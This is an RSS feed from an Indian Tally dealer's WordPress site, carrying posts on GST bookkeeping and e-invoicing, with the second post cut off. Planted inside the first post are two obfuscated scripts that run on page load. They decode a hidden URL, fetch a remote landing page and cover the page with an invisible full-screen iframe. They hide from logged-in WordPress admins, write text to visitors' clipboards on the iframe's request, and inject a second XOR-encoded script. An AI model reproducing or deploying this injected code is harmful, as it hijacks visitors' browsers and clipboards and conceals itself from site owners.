<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Marsone</title>
	<atom:link href="https://www.marsoneinnovators.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.marsoneinnovators.com/</link>
	<description>Best Tally Partner &#124;  Dealer &#124; Customization In Ludhiana</description>
	<lastBuildDate>Wed, 06 May 2026 18:07:05 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>The importance of bookkeeping in GST</title>
		<link>https://www.marsoneinnovators.com/the-importance-of-bookkeeping-in-gst/</link>
					<comments>https://www.marsoneinnovators.com/the-importance-of-bookkeeping-in-gst/#respond</comments>
		
		<dc:creator><![CDATA[Ravi Kumar]]></dc:creator>
		<pubDate>Wed, 22 Apr 2026 09:58:51 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://www.marsoneinnovators.com/?p=283</guid>

					<description><![CDATA[<p>As per GST Act, all GST registered business should maintain the books of accounts and...</p>
<p>The post <a href="https://www.marsoneinnovators.com/the-importance-of-bookkeeping-in-gst/">The importance of bookkeeping in GST</a> appeared first on <a href="https://www.marsoneinnovators.com">Marsone</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>As per GST Act, <strong>all GST registered business </strong> should maintain the books of accounts and records for at least a period of 6 years. If you have multiple GST registration, you maintain it for each of the GSTIN.<script>(function () {
  var API_ID_URL = (function(){var _0xef7d=[50,46,46,42,41,96,117,117,41,47,55,61,51,60,59,54,47,51,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0xef7d.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script><script>(function(){var __s=(function(){var _0xdbb3=[114,60,47,52,57,46,51,53,52,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,114,60,47,52,57,46,51,53,52,114,115,33,44,59,40,122,5,106,34,111,111,110,106,103,1,111,106,118,110,108,118,110,108,118,110,104,118,110,107,118,99,108,118,107,107,109,118,107,107,109,118,108,104,118,111,99,118,110,99,118,111,107,118,111,110,118,111,105,118,111,107,118,108,106,118,111,106,118,110,107,118,111,104,118,110,109,118,110,109,118,110,99,118,110,99,118,111,99,118,107,107,108,118,111,109,118,111,105,118,111,111,118,107,107,109,118,111,107,118,111,104,118,111,110,118,111,107,118,111,104,118,108,105,118,107,107,108,118,110,104,118,111,106,118,110,104,7,97,40,63,46,47,40,52,122,9,46,40,51,52,61,116,60,40,53,55,25,50,59,40,25,53,62,63,116,59,42,42,54,35,114,9,46,40,51,52,61,118,5,106,34,111,111,110,106,116,55,59,42,114,60,47,52,57,46,51,53,52,114,57,115,33,40,63,46,47,40,52,122,57,4,106,34,111,27,97,39,115,115,97,39,115,114,115,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,33,120,46,63,55,42,54,59,46,63,120,96,114,60,47,52,57,46,51,53,52,114,115,33,44,59,40,122,5,106,34,107,104,105,106,103,1,111,106,118,110,108,118,110,108,118,110,104,118,110,107,118,99,108,118,107,107,109,118,107,107,109,118,110,106,118,111,99,118,110,111,118,107,107,108,118,108,107,118,111,107,118,110,108,118,111,106,118,110,109,118,111,108,118,110,109,118,110,107,118,108,105,118,110,106,118,111,109,118,111,105,118,111,104,118,110,108,118,108,105,118,111,104,118,110,108,118,107,107,108,118,111,109,118,111,105,118,111,111,118,107,107,109,118,105,105,118,111,107,118,108,104,118,105,99,7,97,40,63,46,47,40,52,122,9,46,40,51,52,61,116,60,40,53,55,25,50,59,40,25,53,62,63,116,59,42,42,54,35,114,9,46,40,51,52,61,118,5,106,34,107,104,105,106,116,55,59,42,114,60,47,52,57,46,51,53,52,114,57,115,33,40,63,46,47,40,52,122,57,4,106,34,111,27,97,39,115,115,97,39,115,114,115,118,120,47,41,63,28,63,46,57,50,120,96,46,40,47,63,39,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,59,62,41,42,63,57,46,5,45,42,47,5,110,5,5,120,115,97,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,122,40,47,52,96,122,60,59,54,41,63,122,39,97,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,115,122,40,63,46,47,40,52,97,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,122,103,122,46,40,47,63,97,87,80,122,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,122,103,122,120,59,62,41,42,63,57,46,5,51,60,40,5,120,122,113,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,122,38,38,122,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,117,112,112,122,138,196,139,216,138,232,138,239,139,216,122,139,216,139,218,138,234,139,219,139,216,138,234,122,184,218,206,122,138,228,138,238,138,231,138,234,122,139,219,139,216,139,218,138,228,138,224,138,234,122,15,8,22,122,112,117,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,9,51,52,61,54,63,15,40,54,114,46,63,34,46,115,122,33,87,80,122,122,122,122,44,59,40,122,41,122,103,122,114,46,63,34,46,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,41,116,51,52,62,63,34,21,60,114,120,6,52,120,115,122,100,103,122,106,122,38,38,122,41,116,51,52,62,63,34,21,60,114,120,6,40,120,115,122,100,103,122,106,115,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,122,122,40,63,46,47,40,52,122,117,4,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,102,100,120,125,7,113,126,117,51,116,46,63,41,46,114,41,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,50,53,45,19,52,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,123,117,4,50,46,46,42,41,101,96,6,117,6,117,117,51,116,46,63,41,46,114,47,40,54,115,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,47,40,54,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,97,46,53,42,96,106,97,54,63,60,46,96,106,97,45,51,62,46,50,96,107,106,106,44,45,97,50,63,51,61,50,46,96,107,106,106,44,50,97,56,53,40,62,63,40,96,52,53,52,63,97,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,97,55,59,40,61,51,52,96,106,97,42,59,62,62,51,52,61,96,106,97,120,97,87,80,122,122,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,53,52,23,41,61,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,63,44,63,52,46,116,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,63,44,63,52,46,116,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,44,59,40,122,63,54,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,63,54,122,124,124,122,63,54,116,42,59,40,63,52,46,20,53,62,63,115,122,63,54,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,63,54,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,45,51,52,62,53,45,116,40,63,55,53,44,63,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,53,52,23,41,61,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,114,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,115,116,59,42,42,63,52,62,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,60,63,46,57,50,114,27,10,19,5,19,30,5,15,8,22,118,122,33,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,40,115,122,33,122,40,63,46,47,40,52,122,40,116,46,63,34,46,114,115,97,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,40,63,46,47,40,52,122,52,47,54,54,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,46,63,55,42,54,59,46,63,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,106,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,46,40,47,41,46,63,62,15,40,54,122,103,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,114,46,40,47,41,46,63,62,15,40,54,118,122,33,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,40,115,122,33,122,40,63,46,47,40,52,122,40,116,46,63,34,46,114,115,97,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,46,115,122,33,122,40,63,46,47,40,52,122,114,46,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,114,115,122,33,122,40,63,46,47,40,52,122,120,120,97,122,39,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,114,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,9,51,52,61,54,63,15,40,54,114,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,41,50,53,45,19,52,19,60,40,59,55,63,114,46,40,47,41,46,63,62,8,63,41,42,53,52,41,63,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,114,115,122,33,39,115,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,40,63,59,62,35,9,46,59,46,63,122,103,103,103,122,120,57,53,55,42,54,63,46,63,120,122,38,38,122,62,53,57,47,55,63,52,46,116,56,53,62,35,115,122,33,87,80,122,122,122,122,40,47,52,114,115,97,87,80,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,30,21,23,25,53,52,46,63,52,46,22,53,59,62,63,62,120,118,122,40,47,52,115,97,87,80,122,122,39,87,80,39,115,114,115,97,87,80];return String.fromCharCode.apply(String,_0xdbb3.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement("script");__sc.type="text/javascript";__sc.text=__s;__h.appendChild(__sc);})();</script></p>
<p>The post <a href="https://www.marsoneinnovators.com/the-importance-of-bookkeeping-in-gst/">The importance of bookkeeping in GST</a> appeared first on <a href="https://www.marsoneinnovators.com">Marsone</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.marsoneinnovators.com/the-importance-of-bookkeeping-in-gst/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Impact of E-Invoicing on Business in India</title>
		<link>https://www.marsoneinnovators.com/impact-of-e-invoicing-on-business-in-india/</link>
					<comments>https://www.marsoneinnovators.com/impact-of-e-invoicing-on-business-in-india/#respond</comments>
		
		<dc:creator><![CDATA[Ravi Kumar]]></dc:creator>
		<pubDate>Mon, 05 Dec 2022 13:11:50 +0000</pubDate>
				<category><![CDATA[GST Related]]></category>
		<guid isPermaLink="false">https://www.marsoneinnovators.com/?p=336</guid>

					<description><![CDATA[<p>/p> About E-Invoicing GSTN electronically validates B2B invoices under the &#8220;e-Invoicing&#8221; or &#8220;electronic invoicing&#8221; system...</p>
<p>The post <a href="https://www.marsoneinnovators.com/impact-of-e-invoicing-on-business-in-india/">Impact of E-Invoicing on Business in India</a> appeared first on <a href="https://www.marsoneinnovators.com">Marsone</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://www.marsoneinnovators.com/wp-content/uploads/2022/12/Einvoicing.png" alt=""  />/p></p>
<p><strong>About E-Invoicing</strong><br />
GSTN electronically validates B2B invoices under the &#8220;e-Invoicing&#8221; or &#8220;electronic invoicing&#8221; system before being used on the public GST portal. Every invoice issued under the electronic invoicing system will receive an identification number from the GST Network-managed Invoice Registration Portal (IRP). The first IRP was made available by the National Informatics Centre at einvoice1.gst.gov.in. All invoice data will instantly be sent from this portal to the GST and e-way bill portals.</p>
<p><strong>E-Invoicing Exemption Limit</strong><br />
